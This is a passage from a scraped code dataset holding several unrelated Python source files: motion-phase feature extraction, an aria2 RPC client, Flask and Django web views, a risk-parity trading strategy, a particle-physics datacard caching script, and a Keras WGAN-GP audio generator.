np.vstack(contact_info)\n velocity_info = np.vstack(velocity_info)\n\n return contact_info.T, velocity_info.T\n\ndef calc_tta(contacts):\n \"\"\"\n Calculates time-to-arriaval-embeddings, according to the paper [Robust Motion In-betweening]\n :param contacts:\n :param basis\n :return:\n \"\"\"\n\n tta = np.zeros_like(contacts)\n for j, jo in enumerate(contacts):\n idx = np.arange(len(jo))\n idx[jo!=1] = 0\n diff = np.diff(idx, prepend=0)\n diff[diff < 0] = 0\n idx = np.where(diff > 0)[0]\n idx = [0] + list(idx)\n\n for i,k in zip(idx[:-1], idx[1:]):\n k2 = k-i\n tta[j][i:k] = np.arange(k2,0,-1)\n\n return tta\n\n\ndef calc_tta_embedding(embedd_dim:int, tta, basis: float = 1e5, window=30):\n \"\"\"\n Calculates time-to-arriaval-embeddings, according to the paper [Robust Motion In-betweening]\n :param contacts:\n :param basis\n :return:\n \"\"\"\n\n if embedd_dim % 2 != 0:\n d1 = embedd_dim / 2 + 1\n d2 = embedd_dim / 2\n else:\n d1 = d2 = embedd_dim / 2\n\n\n tta[tta > window] = 0\n d1 = np.arange(0, embedd_dim, 2)\n d2 = np.arange(1, embedd_dim, 2)\n\n z_sin = np.sin(tta / (np.power(basis, 2.0*d1 / embedd_dim)))\n z_cos = np.cos(tta / (np.power(basis, 2.0*d2 / embedd_dim)))\n\n z = np.zeros(embedd_dim)\n z[0::2] += z_sin\n z[1::2] += z_cos\n return z\n\n\n@ray.remote(memory=300 * 1024 * 1024)\ndef remote_calc_motion_phases(datafile, id):\n new_data = []\n datafile = load(datafile)\n for d in datafile:\n d = pickle.loads(d)\n contacts, velocities = extract_contact_velocity_info(d)\n normalised_block_fn = normalise_block_function(contacts)\n velocities = np.reshape(velocities, (-1, 3, contacts.shape[1]))\n velocities = np.sqrt(np.sum(velocities ** 2, axis=1))\n sin_block_fn = np.sin(normalised_block_fn)\n cos_block_fn = np.cos(normalised_block_fn)\n sin_vec = sin_block_fn * velocities\n cos_vec = cos_block_fn * velocities\n\n ttas = calc_tta(contacts)\n\n for i, f in enumerate(d[\"frames\"]):\n for j, jo in enumerate(f):\n jo[\"sin_normalised_contact\"] = sin_block_fn[j,i]\n jo[\"phase_vec\"] = np.asarray([sin_vec[j,i], cos_vec[j,i]])\n jo[\"tta\"] = ttas[j,i]\n\n new_data.append(pickle.dumps(d))\n return new_data, id\n\ndef calc_motion_phases(datafile):\n new_data = []\n for d in datafile:\n d = pickle.loads(d)\n contacts, velocities = extract_contact_velocity_info(d)\n normalised_block_fn = normalise_block_function(contacts)\n velocities = np.reshape(velocities, (-1, 3, contacts.shape[1]))\n velocities = np.sqrt(np.sum(velocities ** 2, axis=1))\n sin_block_fn = np.sin(normalised_block_fn)\n cos_block_fn = np.cos(normalised_block_fn)\n sin_vec = sin_block_fn * velocities\n cos_vec = cos_block_fn * velocities\n\n ttas = calc_tta(contacts)\n\n for i, f in enumerate(d[\"frames\"]):\n for j, jo in enumerate(f):\n jo[\"sin_normalised_contact\"] = sin_block_fn[j, i]\n jo[\"phase_vec\"] = np.asarray([sin_vec[j, i], cos_vec[j, i]])\n jo[\"tta\"] = ttas[j, i]\n\n new_data.append(pickle.dumps(d))\n return new_data\n\ndef compute_local_motion_phase(dir_path=\"\"):\n for dir, dname, files in os.walk(dir_path):\n for fname in files:\n file_path = os.path.join(dir, fname)\n data = calc_motion_phases(load(file_path))\n save(data, file_path)\n\n\ndef remote_compute_local_motion_phase(dir_path=\"\", cpu=6):\n file_paths = []\n tasks = []\n start = time.time()\n ray.init(ignore_reinit_error=True, num_cpus=cpu)\n try:\n for dir, dname, files in os.walk(dir_path):\n for fname in files:\n file_path = os.path.join(dir, fname)\n file_paths.append(file_path)\n tasks.append(remote_calc_motion_phases.remote(file_path, len(file_paths)-1))\n # tasks = [remote_calc_motion_phases.remote(file, i) for i, file in enumerate(datafiles)]\n # tasks.append(remote_calc_motion_phases.remote(load(file_path)))\n while len(tasks):\n done_id, tasks = ray.wait(tasks)\n f, i = ray.get(done_id[0])\n save(f, file_paths[i])\n del f, done_id, i\n except TaskCancelledError:\n print(\"Failed\")\n\n ray.shutdown()\n print(\"Done: {}\".format(time.time() - start))\n","sub_path":"src/version_0.1/rig_agnostic_encoding/functions/DataProcessingFunctions.py","file_name":"DataProcessingFunctions.py","file_ext":"py","file_size_in_byte":11461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"116959628","text":"from json import dumps\nfrom time import time\nfrom requests import post\n\nclass aria2:\n \n def __init__(self, host, token,keys=None):\n self.host = host\n self.token = 'token:'+token if token else None\n self.keys = keys if keys else \\\n ['gid', 'totalLength', 'completedLength','downloadSpeed', 'uploadSpeed', 'dir', 'files','connections','numSeeders']\n\n def _methods(self):\n params = [{'methodName':'system.listMethods'}]\n return self.post(params)\n\n def tasks(self):\n params = [\n {'methodName':'aria2.getGlobalStat','params':[self.token]},\n {'methodName':'aria2.tellActive','params':[self.token,self.keys]}\n ]\n return self.post(params)\n\n def add(self,Uris:list):\n params = []\n for url,path in Uris:\n if path:\n params.append({'methodName':'aria2.addUri','params':[self.token,[url],{'dir':path}]})\n else:\n params.append({'methodName':'aria2.addUri','params':[self.token,[url]]})\n\n return self.post(params)\n\n def rm(self,gids:list):\n params = []\n for gid in gids:\n \n params.append({'methodName':'aria2.remove','params':[self.token,gid]})\n \n return self.post(params)\n\n def waiting(self,offset,num):\n params = []\n params.append({'methodName':'aria2.tellWaiting','params':[self.token,offset,num,self.keys]})\n return self.post(params)\n\n def stopped(self,offset,num):\n params = []\n params.append({'methodName':'aria2.tellStopped','params':[self.token,offset,num,self.keys]})\n return self.post(params)\n\n def pause(self,gids:list):\n params = []\n for gid in gids:\n params.append({'methodName':'aria2.pause','params':[self.token,gid]})\n return self.post(params)\n\n def pauseAll(self):\n params = []\n params.append({'methodName':'aria2.pauseAll','params':[self.token]})\n return self.post(params)\n\n def clear(self,gids:list):\n params = []\n for gid in gids:\n params.append({'methodName':'aria2.removeDownloadResult','params':[self.token,gid]})\n return self.post(params)\n\n def clearAll(self):\n params = [{'methodName':'aria2.purgeDownloadResult','params':[self.token]}]\n return self.post(params)\n\n def post(self,params=None):\n data = {'jsonrpc': '2.0', 'id': 'Rin_'+str(time()),\n 'method': 'system.multicall',\n 'params': [params]\n }\n if not params:\n del data['params']\n result = post(self.host,data=dumps(data),headers={'Connection':'close'},timeout=5)\n return result\n\n__all__ = ['']\n","sub_path":"aria2.py","file_name":"aria2.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563931501","text":"from flask import (\n Blueprint,\n abort,\n jsonify,\n redirect,\n render_template,\n request,\n url_for)\nfrom flask.ext.login import current_user\nfrom flask.ext.security import login_required\n\nfrom application.models import Role, User\nfrom application.utils import get_or_404\n\n\nstaff = Blueprint('staff', __name__, template_folder='templates')\n\n\ndef add_staff(**member_data):\n member = get_or_404(User, **member_data)\n current_user.add_staff(member)\n\n\n@staff.route('/staff', methods=['GET', 'POST'])\n@login_required\ndef view():\n\n if request.is_xhr:\n\n if request.method == 'POST':\n add_staff(**request.get_json())\n\n return jsonify({'staff': list(current_user.staff)})\n\n return render_template('staff/view.html')\n\n\n@staff.route('/staff/add', methods=['GET', 'POST'])\n@login_required\ndef add():\n\n if request.method == 'POST':\n add_staff(**request.form.to_dict())\n return redirect(url_for('.view'))\n\n manager = current_user\n admin_role = Role.objects.get(name='ADMIN')\n users = User.objects.filter(\n id__nin=[member.id for member in manager.staff],\n id__ne=manager.id)\n if admin_role not in manager.roles:\n users = users.filter(\n roles__nin=[admin_role],\n manager=None)\n\n return render_template('staff/add.html', users=users)\n\n\n@staff.route('/staff/')\n@login_required\ndef member(id):\n member = get_or_404(User, id=id)\n return render_template('staff/member.html', member=member)\n","sub_path":"application/staff/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"535705584","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 7 10:01:15 2019\n\n@author: w\n\"\"\"\n\n# historical_price_series, last_shares, last_cash\n\nimport numpy as np\nimport statsmodels.formula.api as smf\nfrom Strategy.allocation import w2s\n#from Strategy.risk_parity import get_risk_parity_weights\nfrom Strategy.risk_parity_matrix import get_risk_parity_weights\nfrom Algorithm.scale import linear_scale\n\ndef get_shares(histp_series, last_shares, last_cash):\n mc_budget = [0.1, 0.5, 0.0, 0.4]\n # check historical data length\n mp = 52 # weekly data and use last year data as historical\n dw = 5 # slope \n if len(histp_series) >= mp+dw:\n p = histp_series[len(histp_series)-mp-dw:len(histp_series)] #[0:57=52+5]\n w, diff = _get_w(p, mc_budget, mp, dw)\n shares, cash = w2s(w, p.iloc[-1], last_shares, last_cash)\n else:\n print('Not Enough Historical Data to Calc Weights') \n shares = last_shares\n cash = last_cash\n return shares, cash, diff\n\ndef _get_w(p, mc_budget, mp, dw): \n # calc covariance \n cov = _get_cov(p)\n # calc risk budget\n #mc = mc_budget\n mc = _get_mc(p, mc_budget, mp, dw) \n # calc weights via risk parity\n #w0 = np.array([1 / p.shape[1]] * p.shape[1])\n #w0 = mc_budget\n #w = get_risk_parity_weights(cov, mc, w0)\n n_accurate = 100\n w = get_risk_parity_weights(cov, mc, n_accurate, len(mc)) #, int(n_accurate/10))\n return w\n\ndef _get_cov(p):\n # r\n r=p.copy()\n for e in r.columns:\n r[e]=r[e].pct_change().dropna() \n # calc cov matrix\n cov = np.array(r.cov())\n return cov\n \ndef _get_mc(p, mc_budget, mp, dw):\n # ma\n ma = p.copy()\n for e in p.columns:\n ma[e] = p[e].rolling(mp,center=False,min_periods=1).mean()\n \n # distance\n dist = ma.copy()\n dist = p/ma-1\n \n # slope \n slope = ma.copy()\n ln=len(slope)\n x=np.arange(1,dw+1)/100.0\n for e in p.columns:\n for i in range(mp,ln):\n y = ma[e][i-dw+1:i+1].values / ma[e][i-dw+1] - 1\n model = smf.OLS(y,x)\n results = model.fit() \n slope[e][i] = results.params\n \n # calc mc_budget\n d = dist.iloc[-1]\n s = slope.iloc[-1]\n ln = len(d)\n mc = np.zeros(ln)\n c = 0.0\n for i in range(1, ln):\n if s[i]1:\n mc = mc/c\n mc[0] = 0.0\n else:\n mc[0] = 1.0 - c\n \n return mc","sub_path":"Strategy/strategy_m1.py","file_name":"strategy_m1.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"494734547","text":"from model.command_argument import CommandArgument\n\n\nclass Command():\n \"\"\" Slack command object received through the API \"\"\"\n\n def __init__(self, command: str, argument: CommandArgument):\n \"\"\" \n Args:\n command (str): the command value. Should be /welldone\n argument (CommandArgument): the command's arguments\n \"\"\"\n self.command = command\n self.argument = argument\n","sub_path":"model/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"491806433","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport sys, ROOT, warnings\nROOT.gROOT.SetBatch(True)\n#suppres the EvalInstace conversion warning bug\nwarnings.filterwarnings( action='ignore', category=RuntimeWarning, message='creating converter.*' )\nfrom optparse import OptionParser\nimport json\nfrom myutils import NewTreeCache as TreeCache\nfrom myutils.sampleTree import SampleTree as SampleTree\nfrom myutils.Datacard import Datacard\nfrom myutils.BranchList import BranchList\nfrom myutils.FileList import FileList\nimport resource\n\n# ------------------------------------------------------------------------------\n# script to produce cached tree for datacards\n# ------------------------------------------------------------------------------\nclass CacheDatacards(object):\n\n def __init__(self, config, regions, sampleToCache, splitFilesChunks=1, chunkNumber=1, splitFilesChunkSize=-1, forceRedo=False, fileList=None, verbose=False):\n self.verbose = verbose\n self.config = config\n self.regions = regions\n self.treeCaches = []\n self.sampleTree = None\n self.sampleToCache = sampleToCache\n self.forceRedo = forceRedo\n \n # settings which part of input files to process\n self.splitFilesChunkSize = splitFilesChunkSize\n self.splitFilesChunks = splitFilesChunks\n self.chunkNumber = chunkNumber\n self.fileList = FileList.decompress(fileList) if fileList else None\n\n # initialize Datacard objects\n self.dcMakers = [Datacard(config=self.config, region=region) for region in self.regions]\n \n # make a minimum list of samples which is needed to produce all the Datacard regions at the same time\n def getAllSamples(self):\n samples = []\n for dcMaker in self.dcMakers:\n for sample in dcMaker.getAllSamples():\n if len([x for x in samples if x.name == sample.name]) < 1:\n samples.append(sample)\n return samples\n\n def prepare(self):\n if len(self.dcMakers) > 0:\n self.treeCaches = []\n self.sampleTree = None\n\n # cuts\n allSamples = self.getAllSamples() \n subsamples = [x for x in allSamples if x.identifier == self.sampleToCache]\n\n # loop over all datacard regions\n for dcMaker in self.dcMakers:\n\n # loop over all subsamples (which come from the same root tree files)\n for sample in subsamples:\n\n # combine subcut and systematics cut with logical AND\n # systematics cuts are combined with logical OR, such that 1 cache file can be used for all the systematics\n\n isData = (sample.type == 'DATA')\n systematicsCuts = sorted(list(set([x['cachecut'] for x in dcMaker.getSystematicsList(isData=isData)])))\n sampleCuts = {'AND': [sample.subcut, {'OR': systematicsCuts}]}\n if True or self.verbose:\n print (json.dumps(sampleCuts, sort_keys=True, indent=8, default=str))\n\n # make list of branches to keep in root file\n branchList = BranchList(sample.subcut)\n branchList.addCut([x['cachecut'] for x in dcMaker.getSystematicsList()])\n branchList.addCut([x['cut'] for x in dcMaker.getSystematicsList()])\n branchList.addCut([x['var'] for x in dcMaker.getSystematicsList()])\n branchList.addCut([x['weight'] for x in dcMaker.getSystematicsList()])\n branchList.addCut(self.config.get('Weights', 'weightF'))\n branchList.addCut(eval(self.config.get('Branches', 'keep_branches')))\n branchesToKeep = branchList.getListOfBranches()\n\n # arbitrary (optional) name for the output tree, used for print-out (the TreeCache object has no idea what it is doing, e.g. dc, plot etc.)\n cacheName = 'dc:{region}_{sample}'.format(region=dcMaker.getRegion(), sample=sample.name) \n \n # add cache object\n tc = TreeCache.TreeCache(\n name=cacheName,\n sample=sample.name,\n cutList=sampleCuts,\n cutSequenceMode='TREE',\n branches=branchesToKeep,\n inputFolder=dcMaker.path,\n splitFilesChunks=self.splitFilesChunks,\n chunkNumber=self.chunkNumber,\n splitFilesChunkSize=self.splitFilesChunkSize,\n fileList=self.fileList,\n config=self.config,\n debug=self.verbose\n )\n\n # check if this part of the sample is already cached\n isCached = tc.partIsCached() \n print (\"check if sample \\x1b[34m{sample}\\x1b[0m part {part} is cached:\".format(sample=sample.name, part=self.chunkNumber), isCached)\n if not isCached or self.forceRedo:\n if isCached:\n tc.deleteCachedFiles(chunkNumber=self.chunkNumber)\n\n # for the first sample which comes from this files, load the tree\n if not self.sampleTree:\n self.sampleTree = SampleTree({'name': sample.identifier, 'folder': dcMaker.path}, splitFilesChunkSize=self.splitFilesChunkSize, chunkNumber=self.chunkNumber, config=self.config, saveMemory=True)\n if not self.sampleTree or not self.sampleTree.tree:\n print (\"\\x1b[31mERROR: creation of sample tree failed!!\\x1b[0m\")\n raise Exception(\"CreationOfSampleTreeFailed\")\n\n # consistency check on the file list at submission time and now\n fileListNow = self.sampleTree.getSampleFileNameChunk(self.chunkNumber)\n if self.fileList and (sorted(self.fileList) != sorted(fileListNow)):\n print (\"\\x1b[31mERROR: sample files have changed between submission and run of the job!\\x1b[0m\")\n raise Exception(\"SampleFilesHaveChanged\")\n\n # connect the TreeCache object to the input sampleTree and add it to the list of cached trees \n self.treeCaches.append(tc.setSampleTree(self.sampleTree).cache())\n else:\n print(\"WARNING: no datacard regions added, nothing to do.\")\n return self\n\n def run(self):\n if len(self.treeCaches) > 0:\n # run on the tree\n self.sampleTree.process()\n else:\n print (\"nothing to do!\")\n\n\nif __name__ == \"__main__\":\n # read arguments\n argv = sys.argv\n parser = OptionParser()\n parser.add_option(\"-v\", \"--verbose\", action=\"store_true\", dest=\"verbose\", default=False,\n help=\"Verbose mode.\")\n parser.add_option(\"-C\", \"--config\", dest=\"config\", default=[], action=\"append\",\n help=\"configuration file\")\n parser.add_option(\"-t\", \"--regions\", dest=\"regions\", default='',\n help=\"cut regions identifier\")\n parser.add_option(\"-s\", \"--sampleIdentifier\", dest=\"sampleIdentifier\", default='',\n help=\"sample identifier (no subsample!)\")\n parser.add_option(\"-n\", \"--splitFilesChunks\", dest=\"splitFilesChunks\", default='',\n help=\"number of chunks the cached file is split into\")\n parser.add_option(\"-i\", \"--chunkNumber\", dest=\"chunkNumber\", default='',\n help=\"number of part to cache\")\n parser.add_option(\"-p\", \"--splitFilesChunkSize\", dest=\"splitFilesChunkSize\", default='',\n help=\"number of files per part\")\n parser.add_option(\"-f\", \"--force\", action=\"store_true\", dest=\"force\", default=False,\n help=\"force overwriting of already cached files\")\n parser.add_option(\"-l\", \"--fileList\", dest=\"fileList\", default=\"\",\n help=\"file list\")\n (opts, args) = parser.parse_args(argv)\n if opts.config == \"\":\n opts.config = \"config\"\n\n # Import after configure to get help message\n from myutils import BetterConfigParser, mvainfo, ParseInfo\n\n # load config\n config = BetterConfigParser()\n config.read(opts.config)\n\n # if no region is given in argument, run it for all of them\n regionsListString = opts.regions if len(opts.regions.strip())>0 else config.get('LimitGeneral', 'List')\n regions = [x.strip() for x in regionsListString.split(',') if len(x.strip()) > 0]\n \n # init and run\n cacheDC = CacheDatacards(\n config=config, \n regions=regions, \n sampleToCache=opts.sampleIdentifier, \n chunkNumber=int(opts.chunkNumber) if len(opts.chunkNumber) > 0 else 1, \n splitFilesChunks=int(opts.splitFilesChunks) if len(opts.splitFilesChunks) > 0 else 1,\n splitFilesChunkSize=int(opts.splitFilesChunkSize) if len(opts.splitFilesChunkSize) > 0 else -1, \n forceRedo=opts.force, \n fileList=opts.fileList, \n verbose=opts.verbose) \n\n if cacheDC.prepare():\n cacheDC.run()\n else:\n raise Exception(\"CacheDCinitFailed\")\n","sub_path":"python/cache_dc.py","file_name":"cache_dc.py","file_ext":"py","file_size_in_byte":9471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381756172","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views import View\nfrom django.contrib.auth.models import User\nfrom item.models import Shou, Prob, Shintyoku, CustomUser\nfrom django.urls import reverse\nimport datetime\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\n\nclass Top_page(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n user_id = request.user.id\n user_name = request.user.get_username\n shou_kensu = Shou.objects.filter().count()\n shou_name = Shou.objects.all()\n shou_num = int(Shou.objects.all()[0].id)\n\n mondai_kensu = []\n for i in range(shou_kensu):\n kensu_ = Prob.objects.filter(shou_id=shou_num).count()\n mondai_kensu.append(kensu_)\n shintyoku_kensu = []\n shintyoku_ritsu = []\n seikai_ritsu = []\n shou_num += 10\n\n shou_num = int(Shou.objects.all()[0].id)\n for i in range(shou_kensu):\n kensu_ = Shintyoku.objects.filter(kaiin_id=user_id, shou_id=shou_num).count()\n shintyoku_kensu.append(kensu_)\n\n if mondai_kensu[i] != 0:\n shintyoku_ritsu.append(int(round(shintyoku_kensu[i]/mondai_kensu[i],2)*100))\n else:\n shintyoku_ritsu.append(0)\n\n 正解数 = Shintyoku.objects.filter(kaiin_id=user_id, shou_id=shou_num, seigo='正解').count()\n 不正解数 = Shintyoku.objects.filter(kaiin_id=user_id, shou_id=shou_num, seigo='不正解').count()\n\n try:\n seikai_ritsu_ = 正解数/(正解数 + 不正解数)\n seikai_ritsu.append(int(round(seikai_ritsu_*100,2)))\n except:\n if 不正解数 == 0:\n if 正解数 == 0:\n seikai_ritsu.append(0)\n else:\n seikai_ritsu.append(100)\n\n shou_num += 10\n\n ritsu = []\n shou_num = int(Shou.objects.all()[0].id)\n for i in range(len(seikai_ritsu)):\n ritsu_ = []\n ritsu_.append(shou_num)\n ritsu_.append(i + 1)\n ritsu_.append(shou_name[i].shou_name)\n ritsu_.append(shintyoku_ritsu[i])\n ritsu_.append(seikai_ritsu[i])\n ritsu.append(ritsu_)\n shou_num += 10\n\n context = {'user_id':user_id, 'user_name':user_name,\\\n 'shintyoku_ritsu':shintyoku_ritsu, 'seikai_ritsu':seikai_ritsu, 'ritsu':ritsu}\n\n return render(request, 'item/top_page.html', context=context)\n\ntop_page = Top_page.as_view()\n\nclass Prob_list(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n shou_id_ = kwargs['shou_id']\n user_id = request.user.id\n probs = Prob.objects.filter(shou_id=shou_id_)\n # FreignFieldが指定されているTableとのJoin句\n shintyokus = Shintyoku.objects.filter(kaiin_id=user_id, shou_id=shou_id_).select_related()\n\n statuses = []\n for prob in probs:\n prob_num = prob.prob_num\n prob_title = prob.title\n i = 0\n for shintyoku in shintyokus:\n if prob_num == shintyoku.prob.prob_num:\n prob_status = shintyoku.seigo\n i += 1\n\n if i == 0:\n statuses.append({'prob_num':prob_num, 'prob_title':prob_title, 'prob_status':'未回答'})\n else:\n statuses.append({'prob_num':prob_num, 'prob_title':prob_title, 'prob_status':prob_status})\n\n\n shou_name = Shou.objects.filter(id = shou_id_)[0].shou_name\n\n\n context = {'statuses':statuses, 'shou_id_':shou_id_, 'shou_id':int((shou_id_ - 2)/10), 'shou_name':shou_name}\n return render(request, 'item/prob_list.html', context=context)\n\nprob_list = Prob_list.as_view()\n\nclass Answer_page(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n shou_id_ = kwargs['shou_id']\n prob_num = kwargs['prob_num']\n try:\n prob_ = Prob.objects.filter(shou_id=shou_id_, prob_num=prob_num)[0]\n context = {'prob_':prob_, 'prob_num':prob_num, 'shou_id':shou_id_}\n return render(request, 'item/answer_page.html', context=context)\n except:\n shou_id_max = Shou.objects.all().order_by('-id')[0].id\n if shou_id_ != shou_id_max:\n shou_id_ = shou_id_ + 10\n prob_num = 1\n return redirect(reverse('item:answer_page', args=[shou_id_ ,prob_num]))\n else:\n shou_id_ = Shou.objects.all().order_by('id')[0].id\n prob_num = 1\n return redirect(reverse('item:answer_page', args=[shou_id_ ,prob_num]))\n\n\n def post(self, request, *args, **kwargs):\n answer = int(request.POST.getlist('選択肢')[0])\n shou_id = kwargs['shou_id']\n prob_num = int(kwargs['prob_num'])\n next_id = prob_num + 1\n prob = Prob.objects.filter(shou_id=shou_id, prob_num=prob_num)[0]\n true_ = prob.seikai\n if true_ == answer:\n seigo = '正解'\n else:\n seigo = '不正解'\n\n shou_id = Prob.objects.filter(shou_id= shou_id, prob_num=prob_num).select_related()[0].shou_id\n prob_id = Prob.objects.filter(shou_id= shou_id, prob_num=prob_num)[0].id\n\n try:\n id = Shintyoku.objects.filter(prob_id=prob_id, shou_id=shou_id, kaiin_id=request.user.id).select_related()[0].id\n query_ = Shintyoku.objects.get(id=id)\n query_.seigo = seigo\n query_.save()\n except:\n query_ = Shintyoku(seigo=seigo, answer_date=datetime.date.today(), kaiin_id=request.user.id, prob_id=prob_id, shou_id=shou_id)\n query_.save()\n\n context = {'answer':answer,'shou_id':shou_id, 'prob_num':prob_num, 'prob':prob, 'seigo':seigo, 'next_id':next_id, 'true_':true_}\n\n return render(request, 'item/answer_check.html', context=context)\n\nanswer_page = Answer_page.as_view()\n\nclass Test_check(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n corp_id = request.user.corp_id\n user_lists = CustomUser.objects.filter(corp_id=corp_id)\n contexts_ = []\n\n for user_list in user_lists:\n user_name = user_list.first_name\n user_id = user_list.id\n 正解数 = Shintyoku.objects.filter(kaiin_id=user_id, seigo='正解').count()\n 不正解数 = Shintyoku.objects.filter(kaiin_id=user_id, seigo='不正解').count()\n\n if (正解数 + 不正解数) != 0:\n score = str(int(100 * 正解数 / (正解数 + 不正解数))) + '点'\n else:\n score = \"テスト未実施\"\n contexts_.append({'user_name':user_name, 'score':score})\n\n context = {'contexts_':contexts_}\n\n return render(request, 'item/test_check.html', context=context)\n\ntest_check = Test_check.as_view()\n","sub_path":"item/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"112929830","text":"# completely based on https://github.com/eriklindernoren/Keras-GAN/blob/master/wgan_gp/wgan_gp.py \n\n# Large amount of credit goes to:\n# https://github.com/keras-team/keras-contrib/blob/master/examples/improved_wgan.py\n# which I've used as a reference for this implementation\n\nfrom __future__ import print_function, division\n\nfrom keras.datasets import mnist\nfrom keras.layers.merge import _Merge\nfrom keras.layers import Input, Dense, Reshape, Flatten, Dropout, Lambda, Layer\nfrom keras.layers import BatchNormalization, Activation, ZeroPadding2D\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import UpSampling2D, Conv1D, Conv2DTranspose\nfrom keras.models import Sequential, Model\nfrom keras.optimizers import RMSprop\nfrom functools import partial\nfrom audio_loader import load_all\nfrom audio_tools import count_convolutions\nfrom playsound import play_and_save_sound, save_sound\n\nimport keras.backend as K\n\nimport matplotlib.pyplot as plt\n\nimport sys\nimport os\nimport keras\n\nimport numpy as np\n\nclass Conv1DTranspose(Layer):\n def __init__(self, filters, kernel_size, strides=1, *args, **kwargs):\n self._filters = filters\n self._kernel_size = (1, kernel_size)\n self._strides = (1, strides)\n self._args, self._kwargs = args, kwargs\n super(Conv1DTranspose, self).__init__()\n\n def build(self, input_shape):\n #print(\"build\", input_shape)\n self._model = Sequential()\n self._model.add(Lambda(lambda x: K.expand_dims(x,axis=1), batch_input_shape=input_shape))\n self._model.add(Conv2DTranspose(self._filters,\n kernel_size=self._kernel_size,\n strides=self._strides,\n *self._args, **self._kwargs))\n self._model.add(Lambda(lambda x: x[:,0]))\n self._model.summary()\n super(Conv1DTranspose, self).build(input_shape)\n\n def call(self, x):\n return self._model(x)\n\n def compute_output_shape(self, input_shape):\n return self._model.compute_output_shape(input_shape)\n\nclass RandomWeightedAverage(_Merge):\n \"\"\"Provides a (random) weighted average between real and generated image samples\"\"\"\n def _merge_function(self, inputs):\n alpha = K.random_uniform((32, 1, 1))\n return (alpha * inputs[0]) + ((1 - alpha) * inputs[1])\n\nclass WGANGP():\n def __init__(self):\n os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\n x_train = load_all(\"categorized\", \"cat\",forceLoad=True,framerate=32768)\n self.X_TRAIN = x_train\n self.samples = x_train.shape[1]\n self.channels = 1\n self.kernel_size = 5\n self.audio_shape = (self.samples, self.channels)\n self.latent_dim = 100\n self.folder_name = \"wganbatchnorm\"\n\n # Following parameter and optimizer set as recommended in paper\n self.n_critic = 5\n optimizer = RMSprop(lr=0.00005)\n\n # Build the generator and critic\n self.generator = self.build_generator()\n self.critic = self.build_critic()\n\n #-------------------------------\n # Construct Computational Graph\n # for the Critic\n #-------------------------------\n\n # Freeze generator's layers while training critic\n self.generator.trainable = False\n\n # Image input (real sample)\n real_clip = Input(shape=self.audio_shape)\n\n # Noise input\n z_disc = Input(shape=(100,))\n # Generate image based of noise (fake sample)\n fake_clip = self.generator(z_disc)\n\n # Discriminator determines validity of the real and fake images\n fake = self.critic(fake_clip)\n valid = self.critic(real_clip)\n\n # Construct weighted average between real and fake images\n interpolated_clip = RandomWeightedAverage()([real_clip, fake_clip])\n # Determine validity of weighted sample\n print(\"Look at meeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:\") \n print(interpolated_clip)\n validity_interpolated = self.critic(interpolated_clip)\n\n # Use Python partial to provide loss function with additional\n # 'averaged_samples' argument\n partial_gp_loss = partial(self.gradient_penalty_loss,\n averaged_samples=interpolated_clip)\n partial_gp_loss.__name__ = 'gradient_penalty' # Keras requires function names\n\n self.critic_model = Model(inputs=[real_clip, z_disc],\n outputs=[valid, fake, validity_interpolated])\n self.critic_model.compile(loss=[self.wasserstein_loss,\n self.wasserstein_loss,\n partial_gp_loss],\n optimizer=optimizer,\n loss_weights=[1, 1, 10])\n #-------------------------------\n # Construct Computational Graph\n # for Generator\n #-------------------------------\n\n # For the generator we freeze the critic's layers\n self.critic.trainable = False\n self.generator.trainable = True\n\n # Sampled noise for input to generator\n z_gen = Input(shape=(100,))\n # Generate images based of noise\n img = self.generator(z_gen)\n # Discriminator determines validity\n valid = self.critic(img)\n # Defines generator model\n self.generator_model = Model(z_gen, valid)\n self.generator_model.compile(loss=self.wasserstein_loss, optimizer=optimizer)\n\n\n def gradient_penalty_loss(self, y_true, y_pred, averaged_samples):\n \"\"\"\n Computes gradient penalty based on prediction and weighted real / fake samples\n \"\"\"\n gradients = K.gradients(y_pred, averaged_samples)[0]\n # compute the euclidean norm by squaring ...\n gradients_sqr = K.square(gradients)\n # ... summing over the rows ...\n gradients_sqr_sum = K.sum(gradients_sqr,\n axis=np.arange(1, len(gradients_sqr.shape)))\n # ... and sqrt\n gradient_l2_norm = K.sqrt(gradients_sqr_sum)\n # compute lambda * (1 - ||grad||)^2 still for each single sample\n gradient_penalty = K.square(1 - gradient_l2_norm)\n # return the mean as loss over all the batch samples\n return K.mean(gradient_penalty)\n\n\n def wasserstein_loss(self, y_true, y_pred):\n return K.mean(y_true * y_pred)\n\n def build_generator(self):\n\n model = Sequential()\n dim = 64\n kernel_len = 25\n\n #convolution_layers = count_convolutions(self.audio_shape, self.kernel_size)\n convolution_layers = 3\n\n model.add(Dense(80 * dim, input_dim=self.latent_dim))\n model.add(Reshape((80,dim)))\n model.add(BatchNormalization())\n model.add(Activation(\"relu\"))\n model.add(Conv1DTranspose(filters=16*dim, kernel_size=kernel_len, strides = 4, padding=\"same\"))\n model.add(BatchNormalization())\n model.add(Activation(\"relu\"))\n 